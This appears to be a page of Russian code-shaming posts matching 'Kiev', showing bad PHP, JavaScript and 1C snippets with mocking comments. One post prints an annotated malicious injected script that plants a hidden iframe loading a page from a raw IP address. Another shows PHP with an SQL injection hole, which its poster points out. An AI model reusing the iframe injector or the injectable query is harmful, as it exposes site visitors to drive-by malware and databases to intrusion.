Kiev
ЙажаСценарий / Говнокод #25446
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
// http://pacipfs2.antizapret.prostovpn.org/proxy-ssl.js
function FindProxyForURL(url, host) {
if (d_ipaddr.length < 10) return "DIRECT"; // list is broken
if (!az_initialized) {
var prev_ipval = 0;
for (var i = 0; i < d_ipaddr.length; i++) {
d_ipaddr[i] = parseInt(d_ipaddr[i], 36) + prev_ipval;
prev_ipval = d_ipaddr[i];
}
for (var i = 0; i < special.length; i++) {
special[i][1] = nmfc(special[i][1]);
}
az_initialized = 1;
}
var shost;
if (/\.(ru|co|cu|com|info|net|org|gov|edu|int|mil|biz|pp|ne|msk|spb|nnov|od|in|ho|cc|dn|i|tut|v|dp|sl|ddns|dyndns|livejournal|herokuapp|azurewebsites|cloudfront|ucoz|3dn|nov|linode|amazonaws|sl-reverse|kiev)\.[^.]+$/.test(host))
shost = host.replace(/(.+)\.([^.]+\.[^.]+\.[^.]+$)/, "$2");
else
shost = host.replace(/(.+)\.([^.]+\.[^.]+$)/, "$2");
// Script optimization, see https://bugs.chromium.org/p/chromium/issues/detail?id=678022
for (var k in dn) {
var r = new RegExp('\\.'+k+'$');
if (r.test(shost)) {shost = shost.replace(r, dn[k]); break;}
}
var curarr;
if (/^[a-d]/.test(shost)) curarr = d_ad;
else if (/^[e-h]/.test(shost)) curarr = d_eh;
else if (/^[i-l]/.test(shost)) curarr = d_il;
else if (/^[m-p]/.test(shost)) curarr = d_mp;
else if (/^[q-t]/.test(shost)) curarr = d_qt;
else if (/^[u-z]/.test(shost)) curarr = d_uz;
else curarr = d_other;
var oip = dnsResolve(host);
var iphex = "";
if (oip) {
iphex = oip.toString().split(".");
iphex = parseInt(iphex[3]) + parseInt(iphex[2])*256 + parseInt(iphex[1])*65536 + parseInt(iphex[0])*16777216;
}
var yip = 0;
if (iphex) {
for (var i = 0; i < d_ipaddr.length; i++) {
if (iphex === d_ipaddr[i]) {yip = 1; break;}
}
}
for (var i = 0; i < curarr.length; i++) {
if (yip === 1 || shost === curarr[i]) {
return "HTTPS proxy.antizapret.prostovpn.org:3143; PROXY proxy.antizapret.prostovpn.org:3128; DIRECT";
}
}
for (var i = 0; i < special.length; i++) {
if (isInNet(oip, special[i][0], special[i][1])) {return "PROXY CCAHIHA.antizapret.prostovpn.org:3128; DIRECT;";}
}
return "DIRECT";
}
CCAHIHA
"PHP" / Говнокод #24502
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
/* Разработчик http://webkiev.com/ Тарас КТЛ(Кучинский Тарас Леонидович) г.Киев ул. Заболотного 26 */
if($count_tovar!=0){
$count_filtr=count($shop_m_tovar[0]);
$i=0;while ($i < $count_tovar) {$ii=0; while ($ii < $count_filtr){$shop_filtr[$ii][$i]=$shop_m_tovar[$i][$ii];$ii++;}$i++;}
if($tovar_sort=="1"){/*сортировка по возрастанию по цене*/
array_multisort(
$shop_filtr[6],$shop_filtr[7],$shop_filtr[8],$shop_filtr[9],
$shop_filtr[10],$shop_filtr[11],$shop_filtr[12],$shop_filtr[13],$shop_filtr[14],$shop_filtr[15],$shop_filtr[16],$shop_filtr[17],$shop_filtr[18],$shop_filtr[19],
$shop_filtr[20],$shop_filtr[21],$shop_filtr[22],$shop_filtr[23],$shop_filtr[24],$shop_filtr[25],$shop_filtr[26],$shop_filtr[27],$shop_filtr[28],$shop_filtr[29],
$shop_filtr[30],$shop_filtr[31],$shop_filtr[32],$shop_filtr[33],$shop_filtr[34],$shop_filtr[35],$shop_filtr[36],$shop_filtr[37],$shop_filtr[38],$shop_filtr[39],
$shop_filtr[40],$shop_filtr[41],$shop_filtr[42],$shop_filtr[43],$shop_filtr[44],$shop_filtr[45],$shop_filtr[46],$shop_filtr[47],$shop_filtr[48],
$shop_filtr[49],
$shop_filtr[50],$shop_filtr[51],$shop_filtr[52],$shop_filtr[53],$shop_filtr[54],$shop_filtr[55],$shop_filtr[56],$shop_filtr[57],$shop_filtr[58],$shop_filtr[59],
$shop_filtr[60],$shop_filtr[61],$shop_filtr[62],$shop_filtr[63],$shop_filtr[64],$shop_filtr[65],$shop_filtr[66],$shop_filtr[67],$shop_filtr[68],$shop_filtr[69],
$shop_filtr[70],
$shop_filtr[0],$shop_filtr[1],$shop_filtr[2],$shop_filtr[3],$shop_filtr[4],$shop_filtr[5]
);
}
if($tovar_sort=="2"){/*сортировка на убывание по цене*/
array_multisort(
$shop_filtr[6],SORT_DESC, $shop_filtr[7],$shop_filtr[8],$shop_filtr[9],
$shop_filtr[10],$shop_filtr[11],$shop_filtr[12],$shop_filtr[13],$shop_filtr[14],$shop_filtr[15],$shop_filtr[16],$shop_filtr[17],$shop_filtr[18],$shop_filtr[19],
$shop_filtr[20],$shop_filtr[21],$shop_filtr[22],$shop_filtr[23],$shop_filtr[24],$shop_filtr[25],$shop_filtr[26],$shop_filtr[27],$shop_filtr[28],$shop_filtr[29],
$shop_filtr[30],$shop_filtr[31],$shop_filtr[32],$shop_filtr[33],$shop_filtr[34],$shop_filtr[35],$shop_filtr[36],$shop_filtr[37],$shop_filtr[38],$shop_filtr[39],
$shop_filtr[40],$shop_filtr[41],$shop_filtr[42],$shop_filtr[43],$shop_filtr[44],$shop_filtr[45],$shop_filtr[46],$shop_filtr[47],$shop_filtr[48],
$shop_filtr[49],
$shop_filtr[50],$shop_filtr[51],$shop_filtr[52],$shop_filtr[53],$shop_filtr[54],$shop_filtr[55],$shop_filtr[56],$shop_filtr[57],$shop_filtr[58],$shop_filtr[59],
$shop_filtr[60],$shop_filtr[61],$shop_filtr[62],$shop_filtr[63],$shop_filtr[64],$shop_filtr[65],$shop_filtr[66],$shop_filtr[67],$shop_filtr[68],$shop_filtr[69],
$shop_filtr[70],
$shop_filtr[0],$shop_filtr[1],$shop_filtr[2],$shop_filtr[3],$shop_filtr[4],$shop_filtr[5]
);
}
$i=0;while ($i < $count_tovar) {$ii=0; while ($ii < $count_filtr) {$shop_m_tovar[$i][$ii]=$shop_filtr[$ii][$i];$ii++;}$i++;}
}
Сортировка товаров на чистом коде
Комментарии (3) RSS
ЙажаСценарий / Говнокод #22305
0
- 1
- 2
- 3
- 4
var acceptCookies = CookiePopup.GetCookieValue();
if (acceptCookies == '' || (acceptCookies != 0 && acceptCookies != 1)) {
CookiePopup.ShowPopup();
}
Пример не уверенного в себе разработчика. Когда каждая его функция это "черный ящик" и результат не всегда предсказуем.
ЙажаСценарий / Говнокод #16315
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
<script type="text/javascript" language="javascript"> // весь следующий код внедряется в страницу
function llolwut() // функция, создающая невидимый iframe - http://69.67.187.39/TpqzKHZm.php
{
var momge = document.createElement('iframe');
momge.src = 'http://69.67.187.39/TpqzKHZm.php';
momge.style.border = '0';
momge.style.position = 'absolute';
momge.style.left = '-1234px';
momge.style.top = '-1337px';
momge.style.height = '21px';
momge.style.width = '21px';
if ( !document.getElementById( 'momge' ) ) // если еще не сделали iframe
{
document.write('<div name=\'momge\' id=\'momge\'></div>');
document.getElementById('momge').appendChild(momge ); // сделать его
}
}
function SetCookie( cookieName, cookieValue, nDays, path ) // установить кукисы
{
var today = new Date();
var expire = new Date();
if ( nDays == null || nDays == 0 )
nDays = 1;
expire.setTime(today.getTime() + 1800000*24*nDays);
document.cookie = cookieName + "=" + escape( cookieValue ) + ";expires=" + expire.toGMTString() + ( (path) ? ";path = " + path : "");
}
function GetCookie(name) // получить кукисы
{
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( (!start) && ( name != document.cookie.substring( 0,name.length ) ) )
return null;
if ( start == -1 )
return null;
var end = document.cookie.indexOf( ";", len );
if ( end == -1 )
end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
// основной код
if ( navigator.cookieEnabled ) // если кукисы включены в настройках
{
if( GetCookie( '___utma' ) == '84f5e86989f374536450659c18f5489e' ) {} // если проставлены вредные кукисы - ничего не делать
else // если не проставлены - установить их и внедрить невидимый iframe в код страницы
{
SetCookie( '___utma', '84f5e86989f374536450659c18f5489e', '1', '/' );
llolwut();
}
}
</script>
Мега-вирус, by H@C|<3R. Изначально все это дерьмо было в 1 строку и без комментариев.
Бухгалтерия / Говнокод #13761
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
Если ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003726") Тогда //000003726 - Автолюкс
СлужбаДоставкиВСМС = "AvtoLux";
ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003727") Тогда //000003727 - Гюнсел
СлужбаДоставкиВСМС = "GUNSEL";
ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003725") Тогда //000003725 - Интайм
СлужбаДоставкиВСМС = "InTime";
ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003826") Тогда //000003826 - Мист экспресс
СлужбаДоставкиВСМС = "Meest-express";
ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003932") Тогда //000003932 - Киевские ведомости
СлужбаДоставкиВСМС = "Kievskie vedomosti"
ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003722") Тогда //000003722 - Новая почта
СлужбаДоставкиВСМС = "Nova Poshta";
ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003729") Тогда //000003729 - Ночной экспресс
СлужбаДоставкиВСМС = "Nochnoi express";
ИначеЕсли ЗапросСлужбаДоставки.Ссылка = Справочники.Контрагенты.НайтиПоКоду("000003728") Тогда //000003728 - САТ
СлужбаДоставкиВСМС = "CAT";
//.....
КонецЕсли;
Почти универсальный способ транслитизации наименования контрагента.
"PHP" / Говнокод #11476
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
- 95
- 96
- 97
- 98
- 99
//header.php
<div id="search-box">
<form action="<?=$_SERVER["REQUEST_URI"]?>" method="get" style="padding:0;margin:0;">
<?php
$sql="SELECT * FROM wp_gorod ORDER BY name_gorod ASC ";
$res=mysql_query($sql);
$g=array();if($_GET['gorod']!=""){
$id=$_GET['gorod'];
$_SESSION['gorod_id']=$id;
$ig=$_REQUEST['gorod_id'];}
$ig=$_SESSION['gorod_id'];
echo "<select onchange='return this.form.submit()' name='gorod'>\n"; echo "<option value='0'>Выберите город</option>\n";
while($row=mysql_fetch_array($res)){
if($row['id_gorod']==$_SESSION['gorod_id']){
echo "<option value='".$row['id_gorod']."' selected='selected'>".$row['name_gorod']."</option>\n"; }else{
echo "<option value='".$row['id_gorod']."'>".$row['name_gorod']."</option>\n";
}
}echo "</select> <font size=\"4\" color=\"#F46F2A\">".$_SESSION['number']."</font>\n";if(isset($_SESSION['gorod_id'])){
echo "<br>\n";
$sql1="Select * from wp_gorod where id_gorod=".$ig;
$r=mysql_query($sql1);
$rw=mysql_fetch_array($r);
echo "<div class=tel><b> ".$rw['telephone']. "<br /></b></div>\n";
echo "<div class=adres align=right>".$rw['adres']."<br/>\n";
echo "".$rw['email']."</div>\n";
}
?>
<noscript><input type="submit" value="View" /></noscript>
</form></div>
//index.php
if ($_SERVER['REQUEST_URI'] == '/doneck/') {
header("Location: /doneck/?gorod=15");
return;
}
if ($_SERVER['REQUEST_URI'] == '/vinnica/') {
header("Location: /vinnica/?gorod=13");
return;
}
if ($_SERVER['REQUEST_URI'] == '/dnepropetrovsk/') {
header("Location: /dnepropetrovsk/?gorod=14");
return;
}
if ($_SERVER['REQUEST_URI'] == '/zhitomir/') {
header("Location: /zhitomir/?gorod=17");
return;
}
if ($_SERVER['REQUEST_URI'] == '/zaporozhe/') {
header("Location: /zaporozhe/?gorod=18");
return;
}
if ($_SERVER['REQUEST_URI'] == '/ivano-frankovsk/') {
header("Location: /ivano-frankovsk/?gorod=19");
return;
}
if ($_SERVER['REQUEST_URI'] == '/kiev/') {
header("Location: /kiev/?gorod=20");
return;
}
if ($_SERVER['REQUEST_URI'] == '/kirovograd/') {
header("Location: /kirovograd/?gorod=37");
return;
}
if ($_SERVER['REQUEST_URI'] == '/lugansk/') {
header("Location: /lugansk/?gorod=21");
return;
}
if ($_SERVER['REQUEST_URI'] == '/luck/') {
header("Location: /luck/?gorod=22");
return;
}
if ($_SERVER['REQUEST_URI'] == '/lvov/') {
header("Location: /lvov/?gorod=23");
return;
}
if ($_SERVER['REQUEST_URI'] == '/nikolaev/') {
header("Location: /nikolaev/?gorod=24");
return;
}
if ($_SERVER['REQUEST_URI'] == '/odessa/') {
header("Location: /odessa/?gorod=25");
return;
}
if ($_SERVER['REQUEST_URI'] == '/poltava/') {
header("Location: /poltava/?gorod=26");
return;
}
if ($_SERVER['REQUEST_URI'] == '/rovno/') {
header("Location: /rovno/?gorod=27");
return;
}
if ($_SERVER['REQUEST_URI'] == '/krym/') {
header("Location: /krym/?gorod=28");
return;
}
if ($_SERVER['REQUEST_URI'] == '/sumy/') {
header("Location: /sumy/?gorod=29");
return;
}
Чья-то модификация для wordpress.
1. google скушал 2000 ссылок вида http://адрес-сайта/чпу/?gorod=29 (http://адрес-сайта/чпу/?gorod=26, http://адрес-сайта/чпу/?gorod=25, ...) и понизил сайт в выдаче
2. sql-инъекций идет на ура. Странно, что никто не воспользовался.
Куча говна / Говнокод #8598
0
- 1
http://rondo-pizza.kiev.ua/menu-order 14к с чертом строк говна
по ссылке 14к с чертом строк говна в исходниках страницы
"PHP" / Говнокод #8597
0
- 1
http://www.shkodenko.kiev.ua/index.php?lang_id=1&content_id=82
я охуел
"PHP" / Говнокод #7157
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
if ($_GET['code1c_Connected']=='') {
if ($_GET['type']!="shop") {
if ($_GET['type']!="lk") {
if ($_GET['type']!="home") {
if ($_GET['type']!="login_reg") {
if ($_GET['type']!="reg_quick") {
if ($_GET['type']!="order") {
if ($_GET['type']!="order_g") {
if ($GET['type']!="payment") {
if ($_GET['type']!='contakts') {
if ($_GET['type']!='contact_kiev_volinskaya47') {
if ($_GET['type']!='contact_kiev_lesi_ukrainki15') {
if ($_GET['type']!='contact_kiev_vozduhoflotskiy17') {
if ($_GET['type']!='contact_kiev_malinovskogo12') {
if ($_GET['type']!='contact_kiev_solomenskaya16') {
if ($_GET['type']!='contact_kiev_yakuba2') {
if ($_GET['type']!='contact_odessa_tiraspolskaya35') {
if ($_GET['type']!='contact_odessa') {
if ($_GET['type']!='contact_kharkov') {
if ($_GET['type']!='contact_kharkov_fonvizena18') {
if ($_GET['type']!='contact_dnepropetrovsk') {
if ($_GET['type']!='contact_dnepropetrovsk_suvorova14') {
if ($_GET['type']!='contact_donetsk') {
if ($_GET['type']!='contact_donetsk_shorsa24') {
if ($_GET['type']!='contact_zaporozhye') {
if ($_GET['type']!='contact_zaporozhye_borodinskaya52') {
if ($_GET['type']!='contact_sevastopol') {
if ($_GET['type']!='contact_sevastopol_vosstavshuh4') {
Сегодня работал с одним проектом, вот на что наткнулся.
"PHP" / Говнокод #4123
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
<?php
date_default_timezone_set('Europe/Kiev');
header('Content-Type: text/html; charset=utf-8');
include_once 'simplehtmldom/simple_html_dom.php';
/* формирование урл */
$url="http://ru.wikipedia.org/wiki/";
$date_today = date("j");
$down="_";
$test="%D0%B0%D0%B2%D0%B3%D1%83%D1%81%D1%82%D0%B0";
$full=$url.$date_today.$down.$test;
echo $full;
?>
<hr>
<?
$html = file_get_html($full);
foreach($html->find('p') as $element)
echo $element->plaintext . '<br>';
$html->clear();
unset($html);
?>
Суть: парсить на свой сайт в зависимости от даты первую строку из википедии о том какой сегодня день. Сей код тянет следующее:
Состояниеотпатрулирована
29 августа — 241-й день года (242-й в високосные годы) в григорианском календаре. До конца года остаётся 124 дня.
См. также: Категория:Праздники 29 августа
Дата дана по новому стилю[1]:
См. также: Категория:События 29 августа
См. также: Категория:Родившиеся 29 августа
См. также: Категория:Умершие 29 августа
а нужна только вторая строка. Средствами самого simplehtmldom на сколько я понял нельзя ограничить вывод.
Возможно ли придумать какой-нить костыль к echo, которое выводит массив $element ?
"PHP" / Говнокод #4030
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
<?php
date_default_timezone_set('Europe/Kiev');
header('Content-Type: text/html; charset=utf-8');
/*Создаем класс объектной модели документа, что-то типа как в JS. */
$dom = new domDocument;
/*Загружаем наш ХТМЛ файл*/
$dom->loadHTMLfile('page.html');
/*Ищем всем елементы с тегом таблицы, в даном случае, он у нас один*/
$table = $dom->getElementsByTagName('table');
/*Ищем все теги рядов внутри найденной таблицы, item(0) указывает на то, что нужнр брать только первую найденную таблицу. Ещё раз, таблица у нас одна!!!!!!!*/
$rows = $table->item(0)->getElementsByTagName('tr');
for($i=1;$i<=115;$i++){
/*Циклом заносим в переменную $cols все данные колонок td для каждого ряда tr внутри таблицы */
$cols = $rows->item($i)->getElementsByTagName('td');
/*Выводим в браузер только первую колонку ряда TR, и это у нас имя, если поставить вместо ноля единицу, то выведет Фамилию, если 2-ку поставить, выведет возраст, тут думаю все понятно.*/
echo $cols->item(3)->nodeValue." ";
}
/*ДОМАШНЕЕ ЗАДАНИЕ: поэксперементируйте!!! помогоает в обучении!!!*/
/*УДАЧИ!!!!!!!*//*УДАЧИ!!!!!!!*//*УДАЧИ!!!!!!!*//*УДАЧИ!!!!!!!*/
?>
ЙажаСценарий / Говнокод #3404
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
- 75
- 76
- 77
- 78
- 79
- 80
- 81
- 82
- 83
- 84
- 85
- 86
- 87
- 88
- 89
- 90
- 91
- 92
- 93
- 94
// ==UserScript==
// @name govnokod.ru.user.js
// @description highlight for new comments
// @author legolegs@yandex.ru
// @include http://govnokod.ru/*
// ==/UserScript==
if(!jQuery.cookie)
jQuery.cookie = function(name, value, options) {
if (typeof value != 'undefined') { // name and value given, set cookie
options = options || {};
if (value === null) {
value = '';
options.expires = -1;
}
var expires = '';
if (options.expires && (typeof options.expires == 'number' || options.expires.toUTCString)) {
var date;
if (typeof options.expires == 'number') {
date = new Date();
date.setTime(date.getTime() + (options.expires * 24 * 60 * 60 * 1000));
} else {
date = options.expires;
}
expires = '; expires=' + date.toUTCString(); // use expires attribute, max-age is not supported by IE
}
var path = options.path ? '; path=' + (options.path) : '';
var domain = options.domain ? '; domain=' + (options.domain) : '';
var secure = options.secure ? '; secure' : '';
document.cookie = [name, '=', encodeURIComponent(value), expires, path, domain, secure].join('');
} else { // only name given, get cookie
var cookieValue = null;
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = jQuery.trim(cookies[i]);
// Does this cookie string begin with the name we want?
if (cookie.substring(0, name.length + 1) == (name + '=')) {
cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
break;
}
}
}
return cookieValue;
}
};
var there_href = document.location.href.match(/govnokod\.ru\/(\d+)/);
if ( there_href ) // in topic
$(document).ready(function() {
var govnokod_n = there_href[1];
var cookiename = 'gk'+govnokod_n
var lastvisit = new Date(parseInt($.cookie(cookiename)));
var now = new Date();
var comments = $(".hcomment abbr").filter(function(index,elem) {
var date=new Date(elem.title.replace("T"," ").replace(/\+(\d\d):(\d\d)$/," GMT+$1$2"));
return date>lastvisit;
});
for (var i=0;i<comments.length;i++)
{
var elem = comments[i];
var header = elem.parentElement;
var block = elem.parentElement.parentElement;
block.style.background = '#FACE8D';
var anchor = document.createElement("a");
anchor.setAttribute('name','new_'+i);
block.insertBefore(anchor,block.firstChild);
var prevlink = document.createElement("a");
if (i!=0)
prevlink.setAttribute('href','#new_'+(i-1));
prevlink.appendChild(document.createTextNode('⟵'));
header.insertBefore(prevlink,elem.nextSibiling);
header.insertBefore(document.createTextNode(' '),elem.nextSibiling);
var nextlink = document.createElement("a");
if (i!=comments.length-1)
nextlink.setAttribute('href','#new_'+(i+1));
nextlink.appendChild(document.createTextNode('⟶'));
header.insertBefore(nextlink,elem.nextSibiling);
}
var new_comments_count = document.createElement("a");
if (comments.length)
new_comments_count.setAttribute('href','#new_0');
new_comments_count.appendChild(document.createTextNode(''+comments.length+' новых'));
var comments_count = $(".enrty-comments-count");
comments_count.text(comments_count.text().replace(/\)$/,', '));
comments_count.append(new_comments_count);
comments_count.append(')');
$.cookie(cookiename, now.valueOf(), { 'expires': 3 }); //помним, что имеется ограничение на размер куков.
});
Наговнокодил подсвечивалку новых комментариев для говногод.ру. Смесь из обычного DOM и тутошнего jQuery. Сохранить как govnokod.ru.user.js. Тестировал только в опере.
"PHP" / Говнокод #2832
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
<form style="height:15px ; width:100px"method=post name='ChangeCurrencyForm'>
{literal}
<script language='JavaScript'>
function _changeCurrency()
{
document.ChangeCurrencyForm.submit();
}
</script>
{/literal}
<select name='current_currency' onchange='JavaScript:_changeCurrency()'>
{section name=i loop=$currencies}
{if $log eq "" && $currencies[i].CID eq 2 | $currencies[i].CID eq 3 | $currencies[i].CID eq 4 | $currencies[i].CID eq 5 | $currencies[i].CID eq 6}
{*розница*} {elseif ($log eq "" or $log eq "" or $log eq "tigrakiev") && $currencies[i].CID eq 2 | $currencies[i].CID eq 3 | $currencies[i].CID eq 5 | $currencies[i].CID eq 6}
{*мелкий опт*} {elseif ($log eq "" or $log eq "") && $currencies[i].CID eq 2 | $currencies[i].CID eq 3 | $currencies[i].CID eq 4 | $currencies[i].CID eq 6}
{*опт*} {elseif ($log eq "") && $currencies[i].CID eq 2 | $currencies[i].CID eq 3 | $currencies[i].CID eq 4 | $currencies[i].CID eq 5}
{*плейлист*} {elseif ($log ne "" && $log ne "" && $log ne "" && $log ne "" && $log ne "" && $log ne "" && $log ne "") && $currencies[i].CID eq 2 | $currencies[i].CID eq 3 | $currencies[i].CID eq 4 | $currencies[i].CID eq 5 | $currencies[i].CID eq 6}
{else}
<option value='{$currencies[i].CID}'
{if $currencies[i].CID eq $current_currency}
selected
{/if}
>
{$currencies[i].Name}
</option>
{/if}
{/section}
</select>
"PHP" / Говнокод #2009
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
function search($source,$text)
{
$result = false;
$searchfilms = "#<a class=\"all\" href=\"/level/1/film/(.*?)a>#si";
$searchfilms2 = "#<font color=\"\#999999\">(.*?)</font>#si";
while (preg_match_all ($searchfilms, $source, $matches))
{
preg_match_all($searchfilms2, $source, $matches2);
foreach ($matches as $key => $temparray)
foreach ($temparray as $key2 => $tempresult){
$result[$key2] = $tempresult;
$result[$key2] = preg_replace("#(.*?)/sr/1/\">(.*?)</#is", "<a href=\"?id=\\1\">\\2</a>", $result[$key2])." ".$matches2[$key][$key2];
}
return $result;
}
}
Парсер результатов с кинопоиска, отсюдова: http://bit-torrent.kiev.ua/arser_kinopoisk_ru-t3637/index.html
Может я что-то не понимаю, но зачем так извращаться совсем не ясноне ясно, 3 вложенных цикла О_о. preg_match в while зачем совсем не ясно.
Короче чтобы добавить сюда еще и год фильма, пришлось переписать... А хотелось AFAIK :)
Короче AFAIK вышло вот так:
function search($source, $text) {
$result = array();
$searchfilms = "#<a class=\"all\" href=\"/level/1/film/(.*?)/.*?>(.*?)<.*?a>.*?(\d{4}).*?#si";
$searchfilms2 = "#<font color=\"\#999999\">(.*?)</font>(.*?)#si";
preg_match_all ($searchfilms, $source, $matches);
preg_match_all($searchfilms2, $source, $matches2);
foreach ($matches[1] as $key => $temparray) {
$id = $matches[1][$key];
$name = $matches[2][$key];
$name_eng = $matches2[1][$key];
$year = $matches[3][$key];
$result[] = "<a href=\"?id=$id\">$name..$name_eng...($year)</a>";
}
return $result;
}
p.s. ИМХО читабельнее в разы
ЙажаСценарий / Говнокод #1377
0
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
function setdata()
{
if(document.sunform.town.value == "spb")
{
document.sunform.longitude.value = 30;
document.sunform.longmin.value = 15;
document.sunform.latitude.value = 60;
document.sunform.latmin.value = 00;
document.sunform.zone.value = +3;
}
if(document.sunform.town.value == "gbr")
{
document.sunform.longitude.value = 9;
document.sunform.longmin.value = 56;
document.sunform.latitude.value = 53;
document.sunform.latmin.value = 34;
document.sunform.zone.value = +1;
}
if(document.sunform.town.value == "msk")
{
...
}
if(document.sunform.town.value == "mur")
{
...
}
if(document.sunform.town.value == "kiev")
{
...
}
if(document.sunform.town.value == "minsk")
{
...
}
if(document.sunform.town.value == "soshi")
{
...
}
if(document.sunform.town.value == "nn")
{
...
}
if(document.sunform.town.value == "kazan")
{
...
}
if(document.sunform.town.value == "ekb")
{
...
}
if(document.sunform.town.value == "novosib")
{
...
}
}
Кусок скрипта для рассчета времени восхода и захода Солнца.
Стырено с http://www.astrotime.ru
Вместо ... аналогичные присваивания, только с другими числами.
Куча говна / Говнокод #755
0
- 1
http://www.***.com/Hotels?action=hotelPackageWizard@searchHotelOnly&packageType=HOTEL_ONLY&hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_hotelSearchRegionControl_hotelRegionTypeControl_inpRegionType=AIRPORT&hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_hotelSearchRegionControl_airportControl_inpAirport=kiev&hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_dateRangeWidget_inpStartDate=3/25/2009&hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_dateRangeWidget_inpEndDate=4/15/2009&hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_roomInputWidget_hotelRoomCountInput=1&hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_roomInputWidget_adultCountInput=2&hotelPackageWizard_hotelPackageWizardControl_hotelWidgetControl_roomInputWidget_childCountInput=0&isAdditionOptionExist=0&rfrr=-905
// админы сделайте общую категорию а пока это асм наверно :)
